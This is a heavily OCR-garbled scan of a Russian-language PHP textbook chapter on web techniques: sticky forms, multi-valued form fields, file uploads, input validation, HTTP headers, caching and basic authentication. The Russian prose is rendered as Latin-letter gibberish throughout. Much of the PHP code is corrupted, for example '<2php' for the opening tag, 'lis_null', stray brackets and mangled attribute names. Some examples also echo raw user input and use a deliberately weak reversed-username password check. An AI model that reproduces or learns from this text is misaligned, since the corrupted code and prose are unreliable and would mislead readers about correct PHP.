if {is_null{$fahrenheit)) ( 2>
<form action="<2php echo $_SERVER[,PHP_SELF']; 2>" method="GET">
Temnepatypa 8 Papenreitax:
<input type="text" name="fahrenheit" /><br />
<input type="submit” value="Tpeo6pasoears & Llenscum!” />
</form>
<?php )’
else {
$celsius = ($fahrenheit- 32) * 5 / 9;
printf{"%.2fF = %.2fC", $fahrenheit, $celsius);
b=
</body>
</html>
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Jiunkune dopmbl

'MHoro Be6-CaliTOB HCIOJIb3YIOT TEXHHKY, U3BECTHYIO KaK “JUnkue” (opMbl,
B KOTOPO# pe3yJIbTaThl 3a11poca COMPOBOXIAIOTCS MOUCKOBOM (pOpMOH, HCITOJIb-
3ylollel B KayecTBe 3HAYEHHUH MO YMOJTYAHUIO 3HAYEHHUS U3 TIPEAbIAYIIEro 3a-
npoca.

Hanpuwmep, ecain Bol nimure B Google “IlporpammupoBanne na PHP”, noJe mo-
MCKa HaBEepHSIKA yXKe COAEPXKHT 3Ty CTPOKY. UToObI H3MEHHTb CTPOKY 3ampoca
Ha “IIporpammupoBatne Ha PHP ot NiT Press”, Bam Hy>XHO pPOCTO 1006aBUTb
JIOTIOJIHUTEJIbHBIE KJIIOYEBbIE CIOBA.

[Togo6Hy0 MUNKYI0 (GOPMY AOCTATOYHO MPOCTO peann3oBaTh. IIpumep 7.5 mo-
Ka3bIBaeT Halll ClleHapu il peoOpa3oBaHHs TEMIIEPATYPbl (CM. TpUMep 7.4) ¢ Tak
Ha3bIBaeMoU iunkoii popmoit. OCHOBHOI IpHeM - HCII0JIb30BaTh GOPMY CO 3HA-
YeHHUSIMHU 0 YMoJr4aHuio npH co3nann HTML-nmoss.
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NMpumep 7.5. NpeobpasosaHue Temnepatypbl ¢ nunkoi dopmoii (sticky form.php)

<htmi>
<head><title>Mpeobpasosarue Temnepartypui</title></head>
<body>
<2php $fahrenheit = $_GET['fahrenheit']; 2>
<form action="<2php echo $_SERVER[,PHP_SELF’]; 2>" method="GET">
Temneparypa 8 Papenreiitax:
<input type="text" name="fahrenheit" value="<2php echo $fahrenheit; 2>" />
<br />
<input type="submit” value="peo6pasosars & Llenscuu!” />
</form>
<2php if (lis_null($fahrenheit)) {
$celsius = ($fahrenheit- 32) * 5/ 9;
printf("%.2fF = %.2fC", $fahrenheit, $celsius);
) 2>
</body>
</html>
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MHOro3Ha4Hbie napameTpbi

Cnuckn HTML, cosnannbie TeroM SELECT, MO3BOJISIIOT BbIOMPATh HECKOJIbKO
3HaueHuit. Ytobbl ybeautsces, yto PHP pacno3Haer HeckosibKO 3HaY€HHH, KOTO-
pbie Gpay3ep nepeaact ciieHapuio 06paboTku HOpMbI, BAM HY>KHO CHAOAUTb UMST
nosst B HTML-dbopme kBaapaTHbiMi ckoOkamu []. Hanpumep:

<select name="languages|]”>
<option name="c">C</input>
<option name="c++">C++</input>
<option name="php”>PHP</input>
<option name="perl">Perl</input>
</select>

Teneps, Koraa mosib3oBaTeNb HaXKMET KHOMKy Omnpagumb, $_GET['languages’]
CO/IEP)KUT MAaCCUB BMECTO MPOCTOH CTPOKU. ITOT MACCUB COMEPIKUT 3HAUEHMUS,
KOTOpbIe ObLIN BbIOPaHbI [10JIb30BATEJIEM.

[Ipumep 7.6. moka3biBaeT GopMyY, I03BOJISIONLYI0 BBIOPATh HECKOJIBKO 3HAUEHHU
M3 CIIMCKA, a TaKXKe cueHapuil ee obpaborku. MopMa npeaocTaBIisieT M0Ib30Ba-
TeJII0 BbIOPATh HECKOJIBKO XaPAKTEPUCTHK €r0 INYHOCTH.

R R T

Mpumep 7.6. BoiGop Heckonbkux 3HaueHWi cnucka (select_array.php)

<html>
<head><title>Nuynocte</title></head>
<body>

IEEEEENSE NG
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<form action="<2php echo $_SERVER['PHP_SELF']; 2>” method="GET">
Oxapaxrepuayiite cebs:<br />
<select name="attributes[]” multiple>

~n

<option value="gecenwit” >Becenwiii</option>
<option value="yrpiomit”>Yrpiomeii</option>
<option value="ymmbiit" >Ymuuiit</option>

~n

<option value="uyscTutensHuit” >Hyscreutenshuiit</option>
<option value="pactouutenshuit”>PactountensHmin</option>
<option valve="wonnep”>Wonnep</option>

</select><br />

<inputlype="submit’ name="s" valve="3anucam!” />

</form>

<2php if (array_key_exists('s', $_GET)) {
$description = join(' !, $_GET['attributes’]);
echo "Bw - { $description}”;
}e>
</body>
</html>
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B npumepe 7.6 kHomka submit HasbiBaeTcst “s”. Mbl pOBepsieM HAJIMYHE 3TOrO
napamerpa, 4ToObl IIOHSATh, HYXKHO Ji1 HaM oOpabaTtbiBath dhopmy. PucyHok 7.3
nokasbiBaeT (hOpMy U pe3yJibtaT ee 00pabOTKH.

Oxapaxtepusyiire ceds:
1Y MHBIR ot
{YyBCTBUTENbHLIA

[ localhost/setect_array.pt

Oxapaxtepusyiite cebs:

Becensm s
YIDICMBIR @
YHMHbIA =
UyBCTBMTENbHBIA *
(3anucam]

Bl - pacTOYHTEThHLIA WOTMEP

Puc. 7.3. Buibop HeCckOnbKUX 3HA4YeHUn cnucka u ux obpaborka
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[Tono6Hast TeXHMKA MOXET HCIOJIb30BaThCs AJ1s1 1060 opMbl, Bo3Bpaliaro-
et HeCcKOJIbKO 3HaueHWil. [IpuMep 7.7 mokasbiBaeT U3MEHEHHYIO BEPCHUIO Ha-
eit popMbl BbIOOPa XapaKTEPUCTHK JTUYHOCTH, MEPEMMCAHHYIO C UCIIOJIb30Ba-
HueM rnepekouaresneit (checkbox) Bmecto crnincka (select). O6parure BHUMa-
Hue: uaMenucs toabko HTML-koz, kox 06paboTKH oCTancss HEM3MEHHBIM, He-
3aBUCHMO OT TOT'O, YTO MbI UCIIOJIb3y€EM — TMIePEKJIIOYATENH UJIU CITUCOK.

Mpumep 7.7. 06paboTka nepekmouateneii (checkbox_array.php)

<html>

<head><title>JTuunocte</title></head>

<body>
<form action="<2php $_SERVER['PHP_SELF']; 2>" method="GET">
Oxapakrepusyiite cebs:<br />
<input type="checkbox” name="attributes[]” value="secenwiit" />Becenmii<br />
<inputtype="checkbox” name="attributes[]" value="yrpiomsiit” />Yrpiomeit<br />
<input type=" checkbox” name="attributes[]” value="ymumi" />Ymuuiii<br />

~n

<inputtype="checkbox” name="attributes[]" value="uyscreurensHuiii” />YyscraurensHuii<br/>
<inputtype="checkbox” name="attributes[]"” value=" pactountenshmin” />PactountensHmin<br/>
<input type="checkbox” name=" attributes[]” value="wonnep” /> LWonnep<br />
<br />

o

<inputtype="submit” name="s" value="3anucars!” />
</form>

<2php if (array_key_exists('s', $_GET)) {
$description = join ("', $_GET['attributes']);
echo "Bl - { $description}”;
2>
</body>
</html>

JIunkne MHOro3HauHble napameTpbi

Tenepb Bbl 3a7aUTECh BOIPOCOM, MOXHO JIM CclleJlaTb MHOTO3HayHble Mapame-
Tpbl IMNKUMU? [la, MOXKHO, HO 3TO He npocTo. Beab BaM HY>XHO IPOBEPUTb Kax-
1oe 3HaYeHue - ObLIO JIM OHO ycTaHOBJIeHO B hopme. Hanpumep:

YmHbii: <input type="checkbox” name="attributes(]" value="ymHbii"

<2php

if (is_array($_GET[ attributes’]) && in_array('ymusir', $_GET['attributes'])) {
echo "skniover”;

} e> /><br />

Bpl MoxeTe HCMO/Ib30BaTh JaHHYIO TEXHUKY AJIS KaXAO0TO NepekoyaTess (Yek-
6okca), HO TexHHKa 3Ta MojaBepxeHa ourbkaM. HamHoro npoie namucaTb
¢dyukuuio, kortopast 6yner resepupoBath HTML a5t BO3MOXHBIX 3Haue€HUUH
1 paboTathb ¢ Konuei OTnpaBJieHHbIX MapamerpoB. [Ipumep 7.8 nokassiBaer Ho-
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BYI0 BepcHIo (hopMbI 13 nipuMepa 7.7. Xotst popma nomobHa Toit, 4To 6bLia npea-
cTaBJleHa B ipuMepe 7.7, BHYTPH Hee HAXOAUTCSI Cocob reHepupoBaHHsi GOPMBI.

Mpumep 7.8. Nlunkue mHoro3nayuble nepexnaoyarenu (checkbox_array2.php)

L R ey

<html[>
<head><title>fNuunocts</title></head>
<body>

<?php // nonyuaem 3Hauenns GOpPMbI, €CNn OHU eCTb
$attrs = $_GET['attributes'];

if (lis_array($attrs)) {
$attrs = array();
}

// coapaem HTML pns nepexnioyateneit ¢ TakKMMmM Xe HMEHOMM
function makeCheckboxes($name, $query, $options)

{

foreach ($options as $value => $label) {
$checked = in_array($value, $query) 2 “checked” : ;

echo "<input type=\"checkbox\" name=\" { $name} \"
valve=\"{$valve}\" {$checked)} />";

echo " ($label}<br />\n";

}

// CNHUCOK 3HAYeHMit M MeTOK ANs NepekniouaTenen
$personalityAttributes = array(
: LA n ~n
secensvin’ => "Becenbint”,
‘yrprombiit’ => “Yrpiomsiit”,
‘yMHBIR => "YMHBIR,
‘wyBcTBMTENbHBIA' => “HyBCTBMTENBHBINA",
‘pactountenshblit’ => “PactountensHbiin”,
12 " "
wonnep’ => “LLonnep
) &>

<form action="<2php echo $_SERVER['PHP_SELF']; 2>" method="GET">
Oxapaxrepuayiire cebs:<br />

<2php makeCheckboxes('afiributes[]', $attrs, $personalityAttributes); 2><br />
<input type="submit” name="s" valve="3anucars!” />

</form>

<2php if (array_key_exists('s', $_GET)) {
$description = join ('!, $_GET['attributes'));
echo “Bu - { $description} personality.”;

}e>

</body>

</html>
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«OcHoBo#» 3TOrO0 Koaa siBisieTcst GyHKUMST makeCheckboxes(). OHa mpuHMMA-
€T TPH apTryMeHTa: UMsI TPYIIIbI lepeKJIiovaTesieif, MacCHB 3HAaYEHUI TT0 yMOJT4a-
HMIO U MacCHB, OTOOpaXXaloUUi 3HAYeHHsI TAPAMETPOB B METKU TepeKJIoyare-
nei (yekb6okcoB). CMCOK mapaMeTpoB /sl TepeKjodaTeseil (4ek60KCoB) co-
JIePXKUTCSI B MacCUBe $personalityAttributes.

3arpyska daitnos

Jlnst ynipaBJyieHust 3arpy3koit ¢aitio (oHa mojaepsxuBaeTcst 60IbLUIMHCTBOM CO-
BPEMEHHbIX Opay3epoB) HcMoJb3yercss MaccuB $_FILES. IIpuMeHsist pa3iMyHyIO
ayteHTHdUKAIMIO U (PYHKIMHU 3arpy3Kd ¢aiiioB, BbI MOXKeTe KOHTPOJUPOBATD,
KOMY pa3pelleHo 3arpyxartb (aiibl U UTO MOXKET C/eJIaTh 0Jb30BaTeNb C ITH-
mu daiinamu B Baureii cucreme. Konueniuu 6e30macHOCTH ONUCAHBI B r1aBe 12.

Crenyromuii kox otobpaskaet ¢hopmy, KOTOpast TO3BOJISIET 3arpysKath haisibl Ha
3TOM 2Ke CTpaHHIe:

<form enctype="multipart/form-data”
action="<2php echo $_SERVER['PHP_SELF']; 2>" method="POST">
<input type="hidden” name="MAX_FILE_SIZE" value="10240">
Mms daiina: <input name="toProcess” type="file” />
<input type="submit" value="3arpyauts" />

</form>

Camas 6osbiiast npobsieMa, CBsi3aHHasi ¢ 3arpy3Koil (ailjioB, COCTOUT B PUCKe
noJiyyeHus: cauikoM 6osbiioro daitna. ¥ PHP ectb aBa crniocoba npenorBpa-
IIEHUS] ITOTO: JKECTKOE OrpaHUuYeHHe U MSrkoe orpanuuyeHue. Omnius uvpload_
max_filesize B php.ini 103BOJIsleT 3a1aTh XKECTKOe OrpaHUYeHHe pa3Mepa 3a-
rpyxaembix (aitaos (1o ymomyanuio 2 M6). Ecau Bama ¢opma nepegact na-
paMeTp, Ha3BaHHbIA MAX_FILE_SIZE, PHP 6yner ucnosb3oBaTh €ro B KauecTBe
MSITKOTO orpaHuyeHust. Hanpumep, B ipeibiyiiieM NpUMepe YCTAHOBJIEHO Orpa-
Huuenue B 10 K6. PHP urHopupyer 3HaueHue MAX_FILE_SIZE, eclid OHO TIpe-
BbIlIA€T 3HavyeHHe upload_max_filesize. Takxke oOpaTuTe Balle BHUMaHHE,
4To y (OpPMbI 3arpy3Ku (aiJaoB H0JKeH ObITh YCTAHOBJIEH aTPUOYT enclype CO
3HaueHUeM “multipart/form-data”.

Kaxnapiit anemeHT B MaccuBe $_FILES mpenoctaBisier MH$oOpMalUi0 O 3arpy-
JKeHHOM daiie:

e name - MMs 3arpyxenHoro ¢aiina, nepenanHoe 6paysepoM. /[oBoJbHO
CJIOXKHO CIeJIaTh C 3TUM UMEHEM 4YTO-TO TOJIE3HOE, MOCKOJIbKY Ha KJIU-
€HTCKOI MalllMHe UCMOJIb3YIOTCS HECKOJIbKO IPYrHe UMeHa, YeM Ha Beb-
cepsepe. Hanpumep, eciii KJIMEHTCKast MallliHa paboTaeT Moj1 yrpaBieH -
em Windows u coobuut BaM, uto daiin HassiBaetcst D:\PHOTOS\ME, JPG,
a BeG-cepBep pabotaet nox ynpasienueM Unix, nanHoe ums daitna 6yaer
6eCCMBICTIEHHDBIM JIJISI HETO.
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e type - MIME-Tun 3arpy>xensoro ¢aia, NpeasoXeHHbli KTHEHTOM.

e size - pa3Mep 3arpyxeHHoro ¢aiina (B Gaiitax). Eciu nosb3oBatesb mnbi-
TaeTCs 3arpy3UThb CIUIIKOM 00.1b10# (haii, pasmep OyaeT yctaHosieH B 0.

® tmp_name - UMs1 BpeMeHHOTO (haiina Ha cepBepe nocJie ero 3arpy3ku. Eciu
M0J1b30BaTEJIb MOMBITAETCS 3aTPY3UTh CAMLIKOM G0JIbLIOH (aiis, 3TO UMS
OyzmeT conepxxartb 3HaueHHe “none”.

[IpaBUIbHBIN CIOCO6 IPOBEPUTD, ObL JIH (haii1 yCIEIHO 3arPyKeH - UCIIONb30-
BaTb PYHKIHUIO is_uploaded_file(), kak MOKa3aHO HUIXKE:
if (is_uploaded_file($_FILES['toProcess']['tmp_name'])) {

// daiin ycnewno 3arpyxen

}

Ha cepsepe daiiibl XpaHaTCst BO BpeMEHHOM KaTaJlore cepBepa 10 YMOJYaHHIO,
KOTODBIt 3azaH B dailie php.ini onuuei uvpload_tmp_dir. UTOOBI MepeMecTUTb
(haiin B npyroii kaTasor, UCNob3yHTe GYHKIUIO move_uploaded_file():

move_uploaded_file($_FILES['toProcess']['tmp_name'], “path/to/put/file/{ $file}”);

Bb130B move_uploaded_file() aBTOMaTHyecku mnpoBepsieT, Obl1 JIM 3arpyxeH
¢aiin. [1o 3aBepiueHno paboThl clieHapHUs BCe 3arpy>KeHHble HUM (aityibl OyayT
yAaJeHbl U3 BDEMEHHOIO KaTaJlora.

Mposepka ¢popmbi

[lepen ucnonb3oBaHHWEM WM COXPaHEHHEM JJisl MOCJEAYIOUIErO UCMOJIb30Ba-
HUSA JaHHBIX, BBEIEHHBIX M0JIb30BaTejIeM, BaM HY>XHO CHayaja IPOBEPUTb UX.
B npuHuune cyuiecTByeT HECKOJIbKO CTpaTeriii NpoBepku AaHHbIX. [lepBas 3a-
KJIIOYAeTCsl B UCMOJIb30BaHUU JavaScript Ha cTtopoHe kaneHTa. OHAKO MOJIb30-
BaTeJIb MOXKET BbIKJIIOYMTH JavaScript uin 6pay3ep MoXeT He MOAIEPKUBATD Ta-
KYI0 BO3MOXHOCTb, TaK UTO B JIOOOM CJlyyae 3Ta MPOBEpKa He MOXKET ObITh €IMH-
CTBEHHOM.

Bonee 6esonacHbiii cnocob - ucnosb3oBats PHP ans npoBepku paHubix. [1pu-
Mep 7.9 nokasbiBaeT cTpaHuily ¢ popmoil. CTpaHuiia MO3BOJISET MOJIb30BATENIO
BHECTH MeJHa-3eMeHT. Bce Tpu anemenTa HopMbl - UMS, TUIT MeHA-3JIEMEHTA
1 ums daiinia - sBistioTCs 06s13aTesnbHbIMU. Eciin mosib3oBartesb 3a0yaeT BBECTH
Kakoe-J1M00 M3 3HaueHUi, cTpaHuiia coobwmT eMy 06 3ToM. JIroOble paHee 3a-
MOJIHEHHBIE MOJIb30BATEIEM M0Jist OYAyT yCTAHOBJIEHBI B paHee BBe€HHbIE 3HA-
yenusi. A kHonka “Cosaarp” Oyzner 3ameneHa kHomkod “IIpomosxuTh”, Koraa
noJjib30BaTeib MOAUGPUIIMPYET GOPMY.



PHP. NonHoe pykoBOACTBO U CNPABOYHMK PYHKLMA

NN NI NS NNNE NN NN NN NN NN NN NN EEE RN

fipumep 7.9. Nposepka dopmut {data_validation.php)

<2php

$name = $_POST['name'];
$mediaType = $_POST['media_lype'];
$filename = $_POST['filename'];
$caption = $_POST['caption'];

$status = §_POST['status'];

$tried = ($_POST['tried'] == "yes');

if ($tried) {
$validated = (lempty($name) && lempty($mediaType) && lempiy($filename));

if (1$validated) { 2>
<p>Ums, Tun daitnanums paiina-obs3atensHeienons. 3anonHuTe uxans npoaonxeHus</p>
<¢php }
}

if ($tried && $validated) {

echo "<p>3nemenT 6bin cozpan.</p>";

}

// 6bin nn BLIBPaH TN baitna? seiseper “selected” ecnu Tak
function mediaSelected|($type)

global $mediaType;

if ($mediaType == $type) {
echo "selected”; }
) 2>

<form action="<2php echo $_SERVER['PHP_SELF']; 2>" method="POST">
Wms: <input lype="text” name="name” value="<2= $name; 2>" /><br />

Craryc: <input type="checkbox” name="status” value="active”
<2php if ($status == “active”) { echo “checked”; } 2> /> Axtusen<br />

Tun: <select name="media_type">
<option value="">Bui6epute:</option>
<option value="picture” <2php mediaSelected("picture”); 2> />Kaptunka</option>
<option value="audio” <2php mediaSelected("”audio”); 2> />Ayano</option>
<option value="movie” <2php mediaSelected("movie"); 2> />®Dunbm</option>
</select><br />

®aiin: <input type="text” name="filename” value="<2= $filename; 2>" /><br />

3aronosok: <textarea name="caption”><2= $caption; 2></textarea><br />

<input type="hidden” name="tried” value="yes" />

<input type="submit” value="<2php echo $tried 2 “Mpoponxuts” : “Cospats”; 2>" />
</form>

T T F R T T T



naga 7. Web-texHonorumn

B aTom ciryyae mpoBepka J0MyCTUMOCTH - 3TO ITPOBEPKa ITPeI0CTaBIEHHOTO 3Ha-
yeHUs.. Mbl ycranaBiuBaeM $validated B true, KOTZa BCE TPU INEPEMEHHBIE -
$name, $type u $filename - comepkat undopmanuo. [[pyrue BO3MOXHBIE ITPO-
BEPKU MOTYT IIPOBEPSITH IOIMYCTUMOCTD a/Ipeca 3JIEKTPOHHOH ITOUTHI, CYIECTBO-
BaHUeE JIOKAJIbHOTO (haiiia u T.n1.

Hanpumep, 4To6b! IPOBEPUTD 110JI€ BO3PAcTa U YOEAUTHCS, YTO OHO COAEPHKHUT
HEOTPULIATENBHOE 11€JI0€ YHCJI0, MOYKHO MCITOJIb30BATh CIEAYIOIIUNA KO/

$age = $_POST['age'];

$validAge =sirspn($age, “1234567890") == strlen($age);
BbI130B strspn() HaxoauT yucyao uudp B Havase CTPoKU. Ecau mosib3oBaresb
yKasaJl OJIOXKUTEBHOE 1I€JI0€ YHUCIIO, TO BCSA CTPOKA OYAET COCTOATh U3 LudP.
MoxHo 6b110 ObI TAKXKE HUCIIONB30BaTh PErYJSIPHOE BbIPaXKEHUE [JISI OCYLIECT-
BJIEHUS 9TOU TPOBEPKHU:

$validAge = preg_match('/*\d+$/', $age);

ITpoBepka JOMyCTUMOCTH aIPECOB 3JEKTPOHHOMN MOYTHI — 3TO MIOYTH HEBBINOJI-
HMMas 3a7aya. Her HuKakoro croco6a OIpeaeuTb, COOTBETCTBYET JIM CTPOKA
JIOTTYCTUMOMY aJipecy 3JeKTPOHHOM moyThl W HeT. OAHaKO, BbI MOXETe HalTH
omneyatkH, TpeGyst, 4TOObI T0JIb30BATE/Ib BBEJI AIPEC JIEKTPOHHOMN MOYTHI JBAXK-
Abl (B ABYX Pa3HbIX MOJIsiX). Bl Takxke MoXkeTe NMpeJOTBPAaTUTh BBEJEHHE 3JIEK-
TPOHHBIX a/IPECOB BU/Ia “me” Wiu “me@aol’, Tpebyst HaIMuKsl 3HaKa @ 1 XOTs1 Obl
OJHOH TOYKH IocJjie Hero. B momosHeHe MOXXHO MPOBEPUTH HA COOTBETCTBHE
JIOMEHA, Ha KOTOPbIEe Bbl HE XOTHTE OTIIPABJIATH MOYTY, HanpumMep, whitehouse.
gov uiu fsb.ru.

Hanpumep:

$email 1 = strtolower($_POST['email 1]);
$email2 = strtolower($_POST['email2’]);

if ($email 1 1== $email2) {
die("Anpeca e-mail He coenapaiot”);

}

if (Ipreg_match('//@.+\..+$/", $email1)) {
die("HekoppexTHbiii appec e-mail”);

}

if (strpos($email 1, “whitehouse.gov”)) {
die("S ne 6yay otnpaensts nouty 8 bensiit pom”);

}

[IpoBepka AOMYCTUMOCTH MOJIEH OOBIYHO SIBJSIETCS OIEpaliMeil CO CTPOKaMH.
B 5TOM npuMepe Mbl KCIIOJIb30BAJIM PETYJISIPHbIE BhIPAXKeHUs  GYHKIUHK 00pa-
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60TKH CTPOK, 4TOOBI y6elIl/ITbCH, 4YTO CTPOKH, BBEAEHHBIE [10JIb30OBATEJIEM - 3TO
TO, YTO MbI OKH/1Aa€M.

7.5. YcTraHoBKa 3aronoBKOB OTBETa

Kak yxe 6b110 ynomsinyro, HTTP-oTBet, KoTopblii cepBep nepegaer o6paTHO
KJIUEHTY, COJIEPKUT 3ar0JIOBKH, HIEHTU(ULHPYIOIIME TUII KOHTEHTA B TeJIe OT-
BETa, CepBep, OTIPABUBLIUN OTBET, CKOJbKO OAUTOB HAXOAUTCS B TEJIE€ OTBETA,
korga 6oL oTripaBsJeH otseT u T.4. PHP u Apache Bo MHOroM Bce menator camu,
uneHTUUIUPYs nokyMeHT kak HTML, Beiuucasisa aauny crpanuisl HTML,
U T.1. BosbIIMHCTBO BEO-NIPUIOKEHU He HY)KIa€TCsI B yCTAaHOBKE 3aroJIOBKOB.

OnHako, ecjiy Bbl XOTHUTE OTIIPAaBHUTb O6paTHO YTO-TO, 4TO He sABAsgercss HTML-
KOIOM, YCTAHOBUTDb BPEMA UCTEYEHHN A aKTYAJIbHOCTH CTPAHUIIbI, [IEPEHANIPABUTD
Gpaysep KJHeHTa WU creHepupoBarth onpeneaennyto HTML-omu6ky, Bam Hy k-
HO HCIMOJb30BaTh GYHKIMIO header(). EnMHCTBeHHOE TpeGoBaHHE K YCTAHOBKE
3aroJIOBKOB cjaeayrluiee - Bbl JOJKHbI YCTAHOBUTD 3aroJIOBKU IIPpEX/A€E, YEM 6y-
A€T Cr€HEPUPOBAHO TEJIO OJOKYMEHTA. 310 O3Ha4aeT, YTO BCE BbI3OBbI heoder()
(unu setcookie(), ecnu Bbl ucnosb3dyete Cookies) m0JKHBI GbITH NMPOM3BeE-
Hbl B Hauaste (aiiiia, gaxe 10 tera html, To ecTb 10 J060ro BoiBoaa. Hanpumep:

<2php header("Content-Type: text/plain”); 2>

Date: cerogns

From: dpen

To: 6apHu

Subiject: pyku npous!

Mo#t naHunaket - Mo# 1 Tonbko mMoi. Boasmu ceoi! Boposarts - otepaturensHol

[TonbiTKa YCTAHOBUTD 3aroJiOBKH I1OCJIE TOTO, KaK ObLI HauyaT OOKYMEHT, IIpHUBE-
AET K cieAyloueMy NpeaynpexaeHuio:

Warning: Cannot add header information - headers already sent

Bmecto 3TOro Bbl MOXeETe HCIOJb30BaTh Oydep BbIBOAA, CM. ob_start(),
ob_end_flush() u apyrue nmomoOHble (GYHKUMH AJIS TOJYYEHUS OTOJTHUTENb-
HoH nHpopmainu o 6ydepax BbIBOAA.

Pa3Hble TuMbl KOHTEHTa

3aronoBok Content-Type uaeHTH()UIMPYET THUI BO3BPAlIaeMOTO IOKYyMEH-
ta. Tun “text/html” o3Hauaer, yto Bo3Bpamaercss HTML-mokyMeHT, HO ecTb
U Jpyrde IOJe3Hble TUIBl JoKyMeHTa. Hampumep, “text/plain” 3acTaBisieT
Gpaysep o6pabaThiBaTh CTPAHHUILY KaK MPOCTOM TEKCT. ITO MOJIE3HO IS OTIAL-
KM, a TaK>Ke JIJIsI aBTOMATHY€eCKOro IPOCMOTPa UCTOYHUKA TOKyMeHTa. B riiaBax
9 u 10 MbI GyJeM MHTEHCHBHO MCIOJIb30BaTh 3arosoBok Content-Type, koraa
Mbl Gyziem pabotats ¢ paitziamun Adobe PDF u rpadmueckumu u3o6paxeHusiMu.
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Mepenanpasnexus

Yrob6bl oTnpaBuTh Gpaysep no HoBoMy URL, To ecTb BbINOJHUTH N€peHANpaB-
JieHWe, BaM HYXXHO yCTaHOBUTb 3arosioBok Location. Hy u nocse atoro o6biy-
HO HY>XXHO 3aBepUIMTh PaboTy CcLieHapHs, TOCKOJIbKY €ro AalbHenlnii BbIBOJ He
MMeeT HUKaKOro 3HaYyeHHs1

header("Location: http://www.example.com/ elsewhere.htm|”);
exit();

Yrobbl nepeHanpasyieHde paboTaso Tak, KaK HYXXHO, UCMOJIb3yiTe abCOJIOT-
Hole URL-anpeca, nockoapky yactuuHble URL (Hanpumep, /elsewhere.html)
1 oTHocutenbHble URL Moryt HenpaBu/IbHO MHTEPIIPETUPOBATHCS HEKOTOPbI-
MU Gpay3epami.

Cpok ucreuenus

CepBep MoXeT siBHO HHGOPMUPOBaTh Opay3ep M K3IMPYIOUIMHA POKCH, HAXO0-
JSIUIMACST MeXy cepBepoM U Gpay3epoM, 06 HCTeYEHHH CPOKA FOAHOCTH J0KY-
MeHTa. [Ipokcu u Gpay3ep KaUIMPYIOT AOKYMEHT, MOKa OH akTyajeH. [Ipu no-
BTODHbIX Nepe3arpy3kax KallMpyeMblX JOKYMEHTOB COeJHHEHHE C CEDBEPOM He
ycraHaBnuBaetcs. [1pu nonbiTke 3arpy3ku 10KyMEHTA C HCTEKUIUM CPOKOM rOJi-
HOCTH NPOU30MET COETMHEHUE C CEPBEPOM.

Jnst ycTaHOBKM CpOKa rOJIHOCTH I0KYMEHTa UCIOoJIb3yiiTe 3aronoBok Expires:
header("Expires: Fri, 18 Jan 2006 05:30:00 GMT");

[laBaiiTe ycTaHOBUM CPOK FOJHOCTH JOKYMEHTa - 3 yaca ¢ MOMEHTa ero co3ja-

HMSL, /IS 3TOTO HAaM HYXCHO MCII0JIb30BaTh (OYHKLIUH time() U gmstritime():

$now = time();
$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT”, $now + 60 * 60 * 3);
header("Expires: { $then}”);

Yro6bl yKa3aTh, YTO CPOK FOAHOCTH JOKYMEHTA “HUKOr/A” HE UCTEKAET, yCTAHO-
BUTE AATy UCTEYEHHS - rOJl C CETOAHALIHETO MOMEHTA!
$now = time();

$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT”, $now + 365 * 86440);
header("Expires: { $then}”);

Yr1o6bl MOMETUTH OKYMEHT KaK MPOCPOYEHHBIN (4TOObI OH HE K3IIMPOBAJICS ),
YKaXXMTe TeKylllee BpeMst 1M BPEMsI B [IPOILJIOM:

$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT");
header("Expires: { $then}”);

Jlyyimum cnocobom 3anpeTtuTb Opay3epy WJIM MPOKCH K3UIMPOBATh Balll JOKY-
MEHTA SIBJISIETCSI CeAYIOUIN:



PHP. NonHoe pykosoACTBO U CIPaBO4HUK QYHKLMN

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header(«Last-Modified: « . gmdate(«D, d M Y H:i:s») . « GMT»);
header(«Cache-Control: no-store, no-cache, must-revalidate»);
header(«Cache-Control: post-check=0, pre-check=0», false);
header("Pragma: no-cache”);

AyreHtudmkaums

HTTP-ayrenTudukannss o0CHOBaHa Ha 3aroJioBKax 3alpocoB U CTaTycax OTBe-
Ta. Bpay3ep MO>xeT OTIIPaBUTb UMsI NOJIb30BaTeJIsl U MapoJib (yYeTHble JaHHbIe)
B 3aroJioBKax 3anpoca. Eciu yyeTHble JaHHbIe He OTIPaBJIEHbl UJIM XKe HEeKOp-
pexTHbI, cepep ornpasut orBeT “401 Unauthorized” u upentuduumpyer o6-
Jactb ayTeHTUdUKauuu (cTpoka Bpoae “M3obpaxerunss Mapu” uiu “Baiia kop-
3uHa”) uepes 3arosjoBok WW W-Authenticate. B pesysisrate Bbl yBUANTE qHa-
JIOrOBOE OKHO, 3alpalliBaolee y Bac MM M0J1b30BaTeJIsl ¥ MapoJib, a caMa CTpa-
HHLA [T0CJIe BBO/Ia HOBBIX YUETHBIX JaHHBIX OyzeT 3amnpolieHa MoBTOpHO (Oyaer
OTIIPaBJIEH HOBBIH 3aroJIOBOK C HOBHIMHM YYETHBIMU JAHHBIMH ).

B pamkax PHP-ayrentudukanuu npoBepsre MM MMOJIb30BATES U TApPOJIb (3J1€-
MeHTbI PHP_AUTH_USER u PHP_AUTH_PW MaccuBa $_SERVER), a Tak>e BbI30BHTE
header() mJs1 ycTaHOBKM obsacTh ayreHTH(duKauuu'® u ornpassre oTBeT “401
Unautorized”:

header('WWW-Authenticate: Basic realm="Top Secret Files"');
header("HTTP/1.0 401 Unauthorized”);

J17151 npoBepKY MMEHU MOJIb30BATEJIS U NAPOJIsl BBl MOXKETE JleJIaTh BCE, YTO BaM
3aX0YeTCs1, HAPUMEP, Bbl MOXKETE 3aNPOCUTh 6a3y IaHHbIX, TPOYMUTATD (Al 10-
IIyCTHUMBIX M10JIb30BaTeJI€i MJIM 3alIPOCUTh KOHTPOJLIEp JoMeHa Microsoft.

B crenynomem nprMepe npousBOAMTCS NPOBepKa NapoJisl, KOTOPbI A0JKeH
ObITh MHBEPTUPOBAHHBIM UMEHEM I0JIb30BaTEJ sl (He caMblit Ge30macHbIit MeTON
ayTeHTHhUKALNHN):

$authOK = false;

$user = $_SERVER['PHP_AUTH_USER'];
$password = $_SERVER['PHP_AUTH_PW'];

if (isset($user) && isset($password) && $user === strrev($password)) {
$authOK = true;
}

19O6nacTb ayreHTudurKaumm ykasbiBaeTcs B Ka4ecTse 3HaveHus atpubyta realm n 3apaer, 8 kakom
obnacTu Ha cepeepe Bbl MOXeTe paboTaTh C yka3aHHLIMU NOMMHOM 1 NAponeM. Y4uTolBaeTcsi BMe-
cte ¢ URL pecypca.
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if (1$authOK) {
header('WWW-Authenticate: Basic realm="Top Secret Files"');
